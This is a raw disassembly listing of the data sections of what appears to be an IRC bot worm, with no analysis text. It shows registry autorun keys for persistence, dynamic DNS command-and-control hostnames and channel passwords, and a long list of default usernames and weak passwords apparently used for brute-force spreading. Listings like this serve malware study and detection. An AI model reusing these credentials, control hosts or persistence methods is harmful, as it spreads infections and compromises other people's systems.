dword_43A94C dd 0 ; DATA XREF: sub_42987E+2Ao
dd offset sub_4297B1
align 8
dd offset dword_43A934+8
stru_43A95C _msExcInfo <-1, offset sub_42A0B6> ; DATA XREF: .rdata:stru_43A964o
stru_43A964 _msExcept7 <19930520h, 1, offset stru_43A95C, 0, 0, 0>
; DATA XREF: .text:loc_42A0BEo
dd 3A9BCh, 2 dup(0)
dd 3B188h, 2B000h, 3AB8Ch, 2 dup(0)
dd 3B1A4h, 2B1D0h, 5 dup(0)
dd 3ABE4h, 3ABF2h, 3AC00h, 3AC12h, 3AC28h, 3AC3Eh, 3AC46h
dd 3AC56h, 3AC66h, 3AC78h, 3AC8Ch, 3AC9Eh, 3ACACh, 3ACBCh
dd 3ACC8h, 3ACD8h, 3ACE8h, 3ACF6h, 3AD0Ch, 3AD18h, 3AD2Eh
dd 3AD44h, 3AD5Ah, 3AD6Ah, 3AD7Eh, 3AD90h, 3ADA0h, 3ADAEh
dd 3ADC6h, 3ADDEh, 3AE06h, 3AE1Eh, 3AE34h, 3AE40h, 3AE4Ch
dd 3AE60h, 3AE6Eh, 3AE84h, 3AE98h, 3AEAAh, 3AEBEh, 3AECCh
dd 3AED8h, 3AEF0h, 3AF0Ah, 3AF1Ah, 3AF2Ch, 3AF3Eh, 3AF4Ch
dd 3AF5Eh, 3AF70h, 3AF88h, 3AFA4h, 3AFBEh, 3AFCEh, 3AFE8h
dd 3B004h, 3B010h, 3B01Ch, 3B02Eh, 3B040h, 3B054h, 3B064h
dd 3B072h, 3B08Ch, 3B09Eh, 3B0AEh, 3B0BCh, 3B0CEh, 3B0DEh
dd 3B0F4h, 3B102h, 3B110h, 3B12Ch, 3B138h, 3B14Eh, 3B15Eh
dd 3B172h, 3B422h, 3B412h, 3B402h, 3B3F6h, 3B3E0h, 3B3CEh
dd 3B3BCh, 3B3A8h, 3B398h, 3B37Eh, 3B364h, 3B34Ch, 3B332h
dd 3B316h, 3B306h, 3B2F6h, 3B2E6h, 3B2D4h, 3B2B6h, 3B2A8h
dd 3B298h, 3B286h, 3B27Ah, 3B1B0h, 3B1BEh, 3B1D8h, 3B1E4h
dd 3B1F6h, 3B208h, 3B21Ah, 3B228h, 3B236h, 3B244h, 3B254h
dd 3B264h, 3B26Eh, 3B438h, 0
dd 3B196h, 80000007h, 8000000Fh, 8000000Ch, 80000015h
dd 8000000Ah, 80000002h, 8000000Dh, 80000001h, 80000004h
dd 80000003h, 80000074h, 80000009h, 80000073h, 80000010h
dd 80000017h, 80000013h, 80000097h, 8000000Bh, 80000012h
dd 80000006h, 0
dd 784500AFh, 72507469h, 7365636Fh, 2E0073h, 736F6C43h
dd 6E614865h, 656C64h, 72430060h, 65746165h, 636F7250h
dd 41737365h, 1750000h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 347h
aSleep db 'Sleep',0
dw 248h
aLoadlibrarya db 'LoadLibraryA',0
align 2
dw 169h
aGetlasterror db 'GetLastError',0
align 2
dw 198h
aGetprocaddress db 'GetProcAddress',0
align 4
dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65540350h
dd 6E696D72h, 54657461h, 61657268h, 7C0064h, 656C6544h
dd 69466574h, 41656Ch, 654701CBh, 6D655474h, 74615070h
dd 4168h, 6F4D0264h, 69466576h, 41656Ch, 654701D5h, 63695474h
dd 756F436Bh, 746Eh, 72430069h, 65746165h, 65726854h, 6461h
dd 704F027Ah, 72506E65h, 7365636Fh, 13B0073h
aGetcurrentproc db 'GetCurrentProcessId',0
db '=',0
aCopyfilea db 'CopyFileA',0
db 0Ch
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 156h
aGetfileattribu db 'GetFileAttributesA',0
align 4
db 83h ; ƒ
db 3, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
aZ_1 db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 10Ch
aGetcomputernam db 'GetComputerNameA',0
align 2
dw 16Ch
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 10h
dd 654701DFh, 72655674h, 6E6F6973h, 417845h, 784500B0h
dd 68547469h, 64616572h, 2470000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aP_1 db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 21Ah
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aZ_2 db 'z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 26Bh
aMultibytetowid db 'MultiByteToWideChar',0
db 0A9h ; ©
db 2, 52h, 65h
aAdfile db 'adFile',0
align 10h
db 94h ; ”
db 3, 57h, 72h
aItefile db 'iteFile',0
db 59h ; Y
db 3, 54h, 72h
aAnsactnamedpip db 'ansactNamedPipe',0
aM_2 db 'M',0
aCreatefilea db 'CreateFileA',0
dw 387h
aWidechartomult db 'WideCharToMultiByte',0
dd 6554034Fh, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch
dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentpr_0 db 'GetCurrentProcess',0
a__2 db '_',0
aCreatepipe db 'CreatePipe',0
align 4
db 'Å',0
aFindclose db 'FindClose',0
db '¼',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 10h
db '»',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ó',0
aFindnextfilea db 'FindNextFileA',0
db 'É',0
aFindfirstfilea db 'FindFirstFileA',0
align 4
db 0Eh
db 3, 53h, 65h
aTfilepointer db 'tFilePointer',0
align 2
dw 15Bh
aGetfilesize db 'GetFileSize',0
db 0D6h ; Ö
db 1, 47h, 65h
aTtimeformata db 'tTimeFormatA',0
align 2
dw 13Fh
aGetdateformata db 'GetDateFormatA',0
align 10h
db 0E1h ; á
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 0F4h ; ô
align 2
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 4
db 81h ;
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 16Bh
aGetlocaltime db 'GetLocalTime',0
align 2
dw 297h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 98h ; ˜
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
db 0Ch
db 2, 48h, 65h
aApfree db 'apFree',0
align 10h
db 6
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 9Bh ; ›
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 37Ch
aVirtualqueryex db 'VirtualQueryEx',0
align 10h
db 0ACh ; ¬
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 724600EFh
dd 694C6565h, 72617262h, 1510079h
aGetenvironment db 'GetEnvironmentVariableW',0
db 'ê',0
aFormatmessagea db 'FormatMessageA',0
db 2 dup(0), 2
aGlobalunlock db 'GlobalUnlock',0
align 2
dw 1F9h
aGloballock db 'GlobalLock',0
align 4
dd 6E550363h, 5670616Dh, 4F776569h, 6C694666h, 25E0065h
dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h
aCreatefilemapp db 'CreateFileMappingA',0
align 4
db 12h
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 15Dh
aGetfiletime db 'GetFileTime',0
db '²',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 0B3h ; ³
db 3, 6Ch, 73h
aTrcmpia db 'trcmpiA',0
db 52h ; R
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 285h
aPeeknamedpipe db 'PeekNamedPipe',0
dw 170h
aGetlogicaldr_0 db 'GetLogicalDrives',0
align 2
dw 1FAh
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 4
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
a@_0 db '@',0
aWsasocketa_0 db 'WSASocketA',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 10h
dd 65480210h, 65527061h, 6F6C6C41h, 1C00063h
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
dd 745202CAh, 776E556Ch, 646E69h, 6152029Bh, 45657369h
dd 70656378h, 6E6F6974h, 1AF0000h, 53746547h, 74726174h
dd 6E497075h, 416F66h, 65470108h, 6D6F4374h, 646E616Dh
dd 656E694Ch, 20A0041h, 70616548h, 74736544h, 796F72h
dd 65480208h, 72437061h, 65746165h, 3760000h, 74726956h
dd 466C6175h, 656572h, 69560373h, 61757472h, 6C6C416Ch
dd 636Fh, 7349022Ch, 57646142h, 65746972h, 727450h, 654700F5h
dd 50434174h, 18B0000h, 4F746547h, 50434D45h, 0FC0000h
dd 43746547h, 666E4950h, 317006Fh, 48746553h, 6C646E61h
dd 756F4365h, 746Eh, 654701B1h, 64745374h, 646E6148h, 656Ch
dd 6547015Eh, 6C694674h, 70795465h, 33B0065h
aSetunhandledex db 'SetUnhandledExceptionFilter',0
dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 37B0000h
dd 74726956h, 516C6175h, 79726575h, 23A0000h, 614D434Ch
dd 72745370h, 41676E69h, 23B0000h, 614D434Ch, 72745370h
dd 57676E69h, 3600000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
aA_2 db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 4Dh ; M
db 1, 47h, 65h
aTenvironmentst db 'tEnvironmentStrings',0
aU_1 db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 14Fh
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 4
db 2Ah ; *
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
db 'å',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 4
db 0B2h ; ²
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1B5h
aGetstringtypew db 'GetStringTypeW',0
align 10h
db 3Eh ; >
db 1, 47h, 65h
aTcurrentthread db 'tCurrentThreadId',0
align 2
dw 212h
aHeapsize db 'HeapSize',0
align 2
dw 229h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 226h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 21Fh
aInterlockedexc db 'InterlockedExchange',0
dd 65530303h, 646E4574h, 6946664Fh, 656Ch
_rdata ends
; Section 3. (virtual address 0003C000)
; Virtual size : 000A7F34 ( 687924.)
; Section size in file : 000A7F34 ( 687924.)
; Offset to raw data for section: 0003C000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 43C000h
dword_43C000 dd 0 ; DATA XREF: __cinit+45o
dd offset ___security_init_cookie
dd offset sub_42A0C8
dd offset sub_42A0DF
dword_43C010 dd 0 ; DATA XREF: __cinit+4Co
dword_43C014 dd 0 ; DATA XREF: __cinit+12o
dd offset ___initstdio
dd offset ___initmbctable
dd offset ___onexitinit
dd offset ___sse2_available_init
dd offset sub_4255AA
dword_43C02C dd 0 ; DATA XREF: __cinit+17o
dword_43C030 dd 0 ; DATA XREF: _doexit:loc_41F217o
dd offset ___endstdio
dword_43C038 dd 0 ; DATA XREF: _doexit+6Co
dword_43C03C dd 0 ; DATA XREF: _doexit:loc_41F236o
dd offset sub_4255BD
dword_43C044 dd 3 dup(0) ; DATA XREF: _doexit+8Bo
dword_43C050 dd 80000002h ; DATA XREF: sub_401000+24r
off_43C054 dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 43C1A0h, 80000001h, 43C170h
dword_43C068 dd 0FEF3h ; DATA XREF: WinMain(x,x,x,x)+48Br
; WinMain(x,x,x,x)+513r
dword_43C06C dd 0FEF3h ; DATA XREF: WinMain(x,x,x,x)+559r
dword_43C070 dd 1ECFh ; DATA XREF: sub_40274D:loc_405090r
dword_43C074 dd 539h ; DATA XREF: sub_40274D+1E88r
; sub_40B690+3Br
dword_43C078 dd 24A8h ; DATA XREF: sub_40274D:loc_4046B9r
; sub_40B690:loc_40BA78r
dword_43C07C dd 2700h ; DATA XREF: sub_40274D:loc_404825r
word_43C080 dw 116Ch ; DATA XREF: sub_40274D:loc_4051A9r
align 4
dword_43C084 dd 1 ; DATA XREF: sub_40274D+5CEr
dword_43C088 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_40A58Er
; sub_41AEDD+Cr
byte_43C08C db 2Eh ; DATA XREF: sub_40274D+9A7r
; sub_40274D+A5Br ...
align 10h
dword_43C090 dd 4 ; DATA XREF: sub_40A800+39r
; sub_40A800+5Fr ...
; int dword_43C094
dword_43C094 dd 4 ; DATA XREF: sub_4025EF+44r
; sub_40274D+252r ...
; int dword_43C098
dword_43C098 dd 1 ; DATA XREF: sub_4025EF+3Br
; sub_40274D+24Cr
; char aFicken[]
aFicken db 'ficken',0 ; DATA XREF: sub_40274D:loc_404EF5o
; sub_40274D+6677o ...
align 4
aBloodRep db 'blood-rep',0 ; DATA XREF: sub_40274D:loc_40539Fo
align 10h
; char aKeke1[]
aKeke1 db 'keke1',0 ; DATA XREF: sub_40274D+79ACo
; sub_40274D+7A63o
align 4
; char aBxi_ath_cx[]
aBxi_ath_cx db 'bxi.ath.cx',0 ; DATA XREF: WinMain(x,x,x,x)+477o
; WinMain(x,x,x,x)+504o
align 4
; char a_fast_[]
a_fast_ db '#.fast.#',0 ; DATA XREF: WinMain(x,x,x,x)+492o
; WinMain(x,x,x,x)+51Ao ...
align 10h
; char aRofl1[]
aRofl1 db 'rofl1',0 ; DATA XREF: WinMain(x,x,x,x)+4A9o
; WinMain(x,x,x,x)+52Co
align 4
; char byte_43C0D8
byte_43C0D8 db 62h ; DATA XREF: WinMain(x,x,x,x):loc_40A79Fr
; WinMain(x,x,x,x)+54Ao
aXi_ath_cx db 'xi.ath.cx',0
align 4
; char a_fast__0[]
a_fast__0 db '#.fast.#',0 ; DATA XREF: WinMain(x,x,x,x)+560o
align 10h
; char aRofl1_0[]
aRofl1_0 db 'rofl1',0 ; DATA XREF: WinMain(x,x,x,x)+572o
align 4
; char aWindows_exe[]
aWindows_exe db 'windows.exe',0 ; DATA XREF: sub_40274D+1E75o
; WinMain(x,x,x,x)+13Co ...
; char aWindows_sys[]
aWindows_sys db 'windows.sys',0 ; DATA XREF: sub_414B1C+3Do
aLoghdriver db 'loghDriver',0 ; DATA XREF: sub_401000+Bo
align 4
aNetapi db 'netapi-',0 ; DATA XREF: .text:0040A87Eo
aTessst_exe db 'tessst.exe',0
align 10h
aXI db '-x+i',0 ; DATA XREF: sub_40274D+7AE0o
align 4
; char a_fast__1[]
a_fast__1 db '#.fast.#',0 ; DATA XREF: sub_40274D+1B58o
; sub_40274D+2E40o ...
align 4
; char a_fast__3[]
a_fast__3 db '#.fast.#',0 ; DATA XREF: sub_40274D+41A7o
align 10h
; char a_fast__2[]
a_fast__2 db '#.fast.#',0 ; DATA XREF: sub_40274D+3DDDo
; sub_40274D+3F25o
align 4
off_43C15C dd offset a@bxi_net ; DATA XREF: sub_40274D+7A09r
; "*@bxi.net"
off_43C160 dd offset aMircV6_10Khale ; DATA XREF: sub_40274D+7EAr
; "mIRC v6.10 Khaled Mardam-Bey"
dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey"
dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey"
dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .data:off_43C054o
align 10h
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41CB8D+23o
; sub_41CEAF+23o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41CB8D+D0o
; sub_41CEAF+D0o
align 4
off_43C218 dd offset aAdministrato_0 ; DATA XREF: sub_4100AE+182r
; sub_4100AE+18Ao
; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
off_43C268 dd offset byte_42B633 ; DATA XREF: sub_410047r sub_410047+Co
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_2 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_1 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_0 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco_0 ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 8
dword_43C498 dd 10h ; DATA XREF: sub_40274D+A0Br
; sub_40274D+A37r ...
align 10h
dword_43C4A0 dd 6C616572h ; DATA XREF: sub_40AB83+Fr
dd 2 dup(0)
dword_43C4AC dd 0 ; DATA XREF: sub_40AB83:loc_40ABAAr
off_43C4B0 dd offset sub_40A800 ; DATA XREF: sub_40AB83+4Ar
aConst db 'const',0
align 10h
dd 1, 40A86Ch, 7474656Ch, 7265h, 0
dd 2, 40A8CAh, 706D6F63h, 2 dup(0)
dd 3, 40A917h, 6E756F63h, 797274h, 0
dd 4, 40A986h, 736Fh, 2 dup(0)
dd 5, 40A9FBh
off_43C518 dd offset aAbdulrazak ; DATA XREF: sub_40A800+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
